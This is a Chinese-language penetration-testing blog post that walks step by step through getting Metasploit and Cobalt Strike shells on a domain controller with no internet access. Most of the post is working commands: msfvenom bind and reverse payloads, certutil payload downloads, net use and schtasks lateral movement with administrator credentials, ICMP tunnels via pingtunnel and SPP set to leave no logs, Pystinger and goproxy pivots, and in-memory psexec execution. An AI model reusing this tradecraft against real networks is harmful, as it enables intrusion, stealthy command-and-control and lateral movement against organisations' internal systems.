倘见玉皇先跪奏:他生永不落红尘
本文首发于先知社区,原创作者即是本人
网络拓扑图
一、msf正向木马拿不出网域控shell
msf生成木马
msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f raw -o msf1.bin
用msfvenom生成一个正向马传进去(因为无法访问外网,反向出不来),msf正向连接。
域控上线msf
通过域控web服务的shell进行操作,域控远程下载边界跳板机上的马
C:\ProgramData\xxxx.exe -i -c "certutil -urlcache -split -f http://xxx.xxx.xxx/msf1.exe msf1.exe
再通过提权工具进行执行
C:\ProgramData\xxxx.exe -i -c "msf1.exe"
msf通过代理开启监听
proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST xxx.xxx.xxx
set lport 4444
run
成功获取域控服务器的shell
二、主机中转监听横向上线不出网域控
设置中转监听
这个监听IP要内网可以通信的内网IP
然后生成无阶段木马(分阶段木马无法选择中转监听器),再把木马copy到域控,设置好任务计划,启动木马之后就能够获取域控的shell了
ipc$+计划任务
通过net use建立IPC$连接
shell net use \\x.x.x.x\c$ "xxx" /user:"administrator"
利用copy上传后门文件到域控
shell copy C:\xxx.exe \\x.x.x.x\c$
运行任务,其中/i表示立即运行
shell schtasks /run /s x.x.x.x /u Administrator /p xxxx /tn test /i
域控成功上线cs
三、仅ICMP出网pingtunnel上线msf&cs
0. 环境搭建
WEB边界服务器是公司对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务。内网同网段存在一台Windows内网服务器域控,Web服务器可以访问该机器远程桌面。当我们拿到web边界服务器的shell之后发现只能使用icmp协议访问公网vps(ping),所以只能用ICMP搭建通往内网的隧道,访问内网服务器域控进行后续攻击操作。
1. pingtunnel
注意,在客户端中运行一定要加noprint nolog两个参数,否则会生成大量的日志文件
由于ICMP为网络层协议,应用层防火墙无法识别,且请求包当中的数据字段被加密
2. vps服务端开启
./pingtunnel -type server ##开启服务器模式
回显0连接
3. 客户端开启
pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1
客户端本地监听9999端口 ,将监听到的连接流量通过icmpserver发送到vps的Linsten_ip:7777端口
执行后,kali有回显
4. msf上线
制作木马,木马的回连地址为127.0.0.1:9999,运行上线msf
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f exe -o msf.exe
msf开启监听
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost x.x.x.x
set lport 7777
exploit -j
把木马msf.exe从蚁剑上传到靶机,运行
已上线msf
5. CS上线
pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1
客户端本地监听9999端口 ,将监听到的连接流量通过icmpserver发送到vps的Linsten_ip:7777端口
执行后,kali有回显
建立监听127.0.0.1:9999和x.x.x.x:7777
对ICMP-127的监听生成木马cs.exe
传到靶机运行
CS监听上线
四、仅ICMP出网SPP上线Cobalt Strike
环境搭建
WEB边界服务器是公司对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务。内网同网段存在一台Windows内网服务器域控,Web服务器可以访问该机器远程桌面。当我们拿到web边界服务器的shell之后发现只能使用icmp协议访问公网vps(ping),所以只能用ICMP搭建通往内网的隧道,访问内网服务器域控进行后续攻击操作。
工具:
SPP
反向代理用于进入目标内网,正向代理可配合远控工具进行上线。
1. Server
服务端启动
./spp -type server -proto ricmp -listen 0.0.0.0
2. Client
客户端启动
-nolog 1不输出日志,-noprint 1不打印内容
spp.exe -name "cs" -type proxy_client -server x.x.x.x -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp -nolog 1 -noprint 1
vps回显
3. 创建SPP Listeners
配置一个http beacon,Host为vps地址:x.x.x.x,监听8081端口
4. 创建SPP-127 Linsteners
再起一个本地监听的http beacon,Host为:127.0.0.1(这里也可以换成web跳板机的内网IP:x.x.x.x),监听本地8082
5. 生成无阶段木马
监听器选择SPP-127,进行上线
传到靶机运行
此时查看cs已上线
vps回显
将SPP-127 Linsteners的Host换成web跳板机的内网IP:x.x.x.x,监听本地8082
生成无阶段木马
监听器选择SPP-127,进行上线
传到靶机运行
此时查看cs已上线
vps回显
五、Pystinger正向代理上线不出网域控到cs
工具:
Pystinger
条件:
- TCP、ICMP、DNS均不出网。
- 具有Web服务,并获得Webshell权限。
web边界服务器在仅ICMP出网的环境下,将ICMP出网的出站规则禁用
环境机器不可以ping通其他机器
1. 上传代理文件
- 通过Webshell上传Pystinger的对应语言的Webshell到目标机器,实现内网SOCK4代理, 确保http://x.x.x.x/pystinger/proxy.php可以访问,页面返回 UTF-8。
2. 服务端运行
参考github上Cobalt Strike多主机上线方式,上传stingger_server.exe到目标机器,然后运行
start stinger_server.exe 0.0.0.0
3. 客户端运行
在VPS上上传stinger_client,-w proxy的url地址,执行
./stinger_client -w http://x.x.x.x/pystinger/proxy.php -l 0.0.0.0 -p 60000
4. 创建监听器
Cobalt Strike新建监听pystinger,多主机上线设置Host为目标机器能够与更深层机器相连的内网ip:x.x.x.x,端口为60020。
单主机上线设置Host为目标机器的ip:127.0.0.1,端口为60020,只能本主机上线
5. 生成木马
蚁剑运行木马文件
此时查看cs已上线
六、goproxy http代理上线不出网域控到cs
工具:
goproxy
条件:
- TCP、ICMP、DNS均不出网。
- 具有Web服务,并获得Webshell权限。
web边界服务器在仅ICMP出网的环境下,将ICMP出网的出站规则禁用
环境机器不可以ping通其他机器
1. 上传proxy.exe
通过Webshell上传proxy.exe到目标机器的可读可写目录,执行以下命令在这台出网主机开启一个4444端口的HTTP服务,供后面与不出网域控通讯。
proxy.exe http -t tcp -p "0.0.0.0:4444" --daemon
netstat -ano
2. 创建监听器
Cobalt strike创建监听器,代理地址为不出网域控能访问到的地址,http://x.x.x.x:4444
3. 生成木马
有效荷载选择Windows Executable(S),不然无法上线
然后利用蚁剑将该文件上传到web服务器供不出网域控下载使用。
不出网win2008执行如下命令,要写不出网win2008同层能访问到的地址,下载CS的有效载荷。
certutil -urlcache -split -f http://x.x.x.x/xxx.exe C:\xxx.exe
执行木马
成功上线cs
七、内存加载不出网域控上线cs
条件:
- TCP、ICMP、DNS均不出网。
- 具有Web服务,并获得Webshell权限。
web边界服务器在仅ICMP出网的环境下,将ICMP出网的出站规则禁用
环境机器不可以ping通其他机器
1. 拿跳板机session
首先拿到跳板机的一个Administrator权限的session
2. 创建监听器
创建一个Bind TCP Listener
3. 生成木马
生成无阶段木马
免杀后上传到跳板机的C:\
4.内存加载xxx.exe
execute-assembly C:\xxx.exe -m=psexec -i=x.x.x.x -u=administrator -p=xxxx -d=xxx -f=C:\xxx.exe -e=C:\xxx.exe
5.连接目标机
connect x.x.x.x 4444
6.查看cs目标已成功上线
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:各家兴 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
CSDN:
https://blog.csdn.net/weixin_48899364?type=blog
公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect
博客:
https://rdyx0.github.io/
先知社区:
https://xz.aliyun.com/u/37846
SecIN:
https://www.sec-in.com/author/3097
FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85